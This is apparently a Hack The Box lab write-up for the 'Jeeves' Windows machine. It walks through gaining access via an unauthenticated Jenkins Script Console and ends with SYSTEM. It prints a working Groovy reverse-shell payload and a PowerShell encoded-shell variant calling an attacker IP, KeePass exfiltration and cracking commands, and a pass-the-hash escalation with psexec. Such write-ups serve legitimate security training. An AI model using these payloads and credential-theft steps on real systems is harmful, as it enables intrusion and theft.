HTB - Jeeves

Target IP: 10.129.228.112 Domain: JEEVES (Workgroup) DC Hostname: N/A - Standalone Windows host OS: Windows 10 Pro Build 10586 x64 Difficulty: Medium Assumed Breach: No - initial access via unauthenticated service exploitation Author: [g1nt0n1x]


1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery

nmap -p 80,135,445,50000 -sCV -Pn -oA nmap/tcp-targeted 10.129.228.112
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Port Analysis & Attack Surface

PortServiceNotes
80/tcpHTTP / IIS 10.0Hosts an “Ask Jeeves” themed page
135/tcpMSRPCRPC endpoint mapper
445/tcpSMBWorkgroup machine, no domain
50000/tcpHTTP / JettyReturns 404 - worth enumerating deeper

No Kerberos, no LDAP: this is a standalone workgroup machine, not an AD environment. SMB and the two HTTP services are the primary attack surface.

1.2 Local Host Resolution

nxc smb 10.129.228.112 --generate-hosts-file hosts
cat hosts | sudo tee -a /etc/hosts

1.3 SMB Enumeration

Confirming the OS build and testing for null/guest authentication:

nxc smb 10.129.228.112
# Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
 
nxc smb 10.129.228.112 -u '' -p ''
nxc smb 10.129.228.112 -u 'guest' -p ''
# No result - null and guest sessions are disabled

SMB is a dead end without credentials.


2. Phase 2: Web Enumeration

2.1 Port 80 - IIS “Ask Jeeves”

The web server hosts an “Ask Jeeves” search page, consistent with the hostname. Submitting any query redirects to error.html, making the application non-functional. Directory busting and virtual host enumeration both return nothing:

feroxbuster -u http://jeeves
# found: 0
 
ffuf -u http://10.129.228.112 -H "Host: FUZZ.Jeeves" \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 503
# found: 0

Port 80 is a dead end.

2.2 Port 50000 - Jetty (Jenkins)

The same initial scan against port 50000 returns nothing with the default wordlist:

feroxbuster -u http://jeeves:50000
# found: 0

The default raft-medium-directories.txt wordlist is a good first pass for HTB, but may miss custom or uncommon paths. Upgrading to the larger raft-large-words.txt wordlist finds a hit:

feroxbuster --url http://jeeves:50000 \
    -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt
# 302 http://jeeves:50000/askjeeves => http://jeeves:50000/askjeeves/

Navigating to http://jeeves:50000/askjeeves/ reveals a Jenkins instance with no authentication required.


3. Phase 3: Initial Access via Jenkins Script Console

3.1 Jenkins Groovy Script Console

Jenkins exposes a Groovy Script Console under Manage Jenkins → Script Console that allows arbitrary code execution on the underlying OS. Since we have unauthenticated access to Jenkins, we can use this directly.

We use a Groovy reverse shell payload and execute it from the Script Console:

String host="10.10.10.10";
int port=5555;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();po.flush();Thread.sleep(50);
    try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();

Alternatively, a PowerShell-based reverse shell is more stable. Generate a Base64-encoded payload from revshells.com and execute it via:

def cmd = "cmd.exe /c powershell -enc <BASE64_PAYLOAD>".execute();

3.2 Catch the Shell

Set up a listener before executing the payload:

rlwrap nc -lvnp 5555

Confirmed initial access:

whoami
jeeves\kohsuke

4. Phase 4: Post-Exploitation - KeePass Database

4.1 File System Enumeration

Enumerating kohsuke’s home directory reveals a KeePass database:

tree /A /F
+---.groovy
|   \---grapes
+---Desktop
|       user.txt
+---Documents
|       CEH.kdbx

CEH.kdbx is a KeePass password safe. We need to transfer it to our machine for offline cracking.

4.2 Transfer via Impacket SMB Server

On Kali, host an SMB share:

sudo python3 smbserver.py myshare . -smb2support

On the victim, map the share and copy the file:

net use x: \\10.10.16.149\myshare /u:user password
Copy-Item CEH.kdbx X:\

4.3 Cracking the KeePass Master Password

KeePass databases are protected by a master password. Extract the hash for offline cracking:

keepass2john CEH.kdbx > CEH.kdbx.hash

Run hashcat, letting it auto-detect the hash mode:

hashcat CEH.kdbx.hash /usr/share/wordlists/rockyou.txt --user
# Recommended mode: 13400 (KeePass 1 / KeePass 2 AES)
 
hashcat -m 13400 CEH.kdbx.hash --user /usr/share/wordlists/rockyou.txt
# Password: moonshine1

The --user flag is needed because keepass2john prepends the filename as a username prefix (e.g., CEH:$keepass$...).

4.4 Extracting KeePass Entries

Open the database with kpcli:

kpcli --kdb=CEH.kdbx
# Password: moonshine1

Dump all entries:

kpcli:/> find .
kpcli:/> show 0
# Title: Backup stuff
# Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Extract all passwords for spraying:

awk '/Pass:/ {print $2}' keepass-extraction.txt > passwords.txt
# aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# 12345
# S1TjAtJHKsugh9oC4VZl
# pwndyouall!
# F7WhTrSFDKB6sxHU1cUn
# lCEUnYPjNfIuPZSzOySA
# Password

5. Phase 5: Privilege Escalation - Pass the Hash

5.1 Password Spray

Testing all extracted passwords against SMB as Administrator:

nxc smb Jeeves -u administrator -p passwords.txt
# No hits

5.2 Identifying the NTLM Hash

The first entry (aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00) is an LM:NTLM hash format, not a plaintext password. This calls for a Pass the Hash attack instead.

nxc smb Jeeves -u administrator \
    -H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# [+] Jeeves\administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

5.3 Gaining SYSTEM

python /usr/share/doc/python3-impacket/examples/psexec.py administrator@jeeves \
    -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
# C:\Windows\system32> whoami
# nt authority\system

Machine fully compromised.


Deep Dive: Jenkins Script Console RCE

Jenkins is a widely-deployed CI/CD automation server. Its Script Console (/script) executes arbitrary Groovy code in the JVM process context, which runs with the OS privileges of the Jenkins service account. On misconfigured instances with no authentication, this is a direct code execution primitive.

Key properties:

  • No authentication bypass needed - the feature works as designed; the vulnerability is the missing access control
  • Groovy can call Java APIs directly - Runtime.exec(), ProcessBuilder, socket operations, file I/O
  • Script Console is enabled by default - administrators must explicitly disable or restrict it

On real engagements, Jenkins instances are often exposed internally (intranet CI/CD) and frequently misconfigured. Always check /script and /manage for unauthenticated access.


Deep Dive: KeePass Offline Cracking

KeePass databases (.kdbx) are encrypted with a master password, optionally combined with a key file or Windows account. When only a master password is used, the database can be cracked offline.

keepass2john extracts a crackable hash from the database file that encodes the KDF parameters (PBKDF2 or Argon2) and a verification block:

CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a...

The *6000* field is the iteration count - higher values slow cracking significantly. KeePass 2 defaults to 6000 AES rounds, which is fast enough for rockyou to crack in reasonable time.

Hashcat mode 13400 handles both KeePass 1 and KeePass 2 AES databases. Always let hashcat auto-detect and confirm the mode before running a full crack.


Deep Dive: Pass the Hash (PtH)

Windows NTLM authentication does not require the plaintext password - it uses the NT hash directly in the challenge-response exchange. An attacker who obtains an NT hash (from a SAM dump, NTDS.dit, memory, or in this case a KeePass database) can authenticate as that user without ever knowing the plaintext password.

The hash format LM:NTLM (e.g., aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00) contains:

  • LM hash (aad3b435b51404eeaad3b435b51404ee): the null LM hash - indicates LM hashing is disabled
  • NT hash (e0fb1fb85756c24235ff238cbe81fe00): the actual hash used for authentication

Tools like nxc -H, psexec.py -hashes, and wmiexec.py -hashes all support PtH natively.

Why it works here: The KeePass “Backup stuff” entry stored an NTLM hash directly, not a typical plaintext password. Recognising the LM:NTLM format and switching to -H instead of -p is the key insight.


Key Takeaways & Checklist

  • When directory busting returns nothing, try a larger wordlist before giving up - raft-large-words.txt found /askjeeves where raft-medium missed it
  • Jenkins Script Console at /script or under Manage Jenkins is a direct RCE primitive when unauthenticated access is available
  • KeePass databases found on a target should always be transferred for offline cracking - keepass2john + hashcat mode 13400
  • Use --user with hashcat when the input comes from john-format hash files (username prefix included)
  • Password entries in KeePass may contain NTLM hashes rather than plaintext - recognise the LM:NTLM format
  • Pass the Hash with nxc -H works against SMB even on workgroup machines - no domain required
  • After a successful PtH with nxc, use psexec.py -hashes or wmiexec.py -hashes for a full shell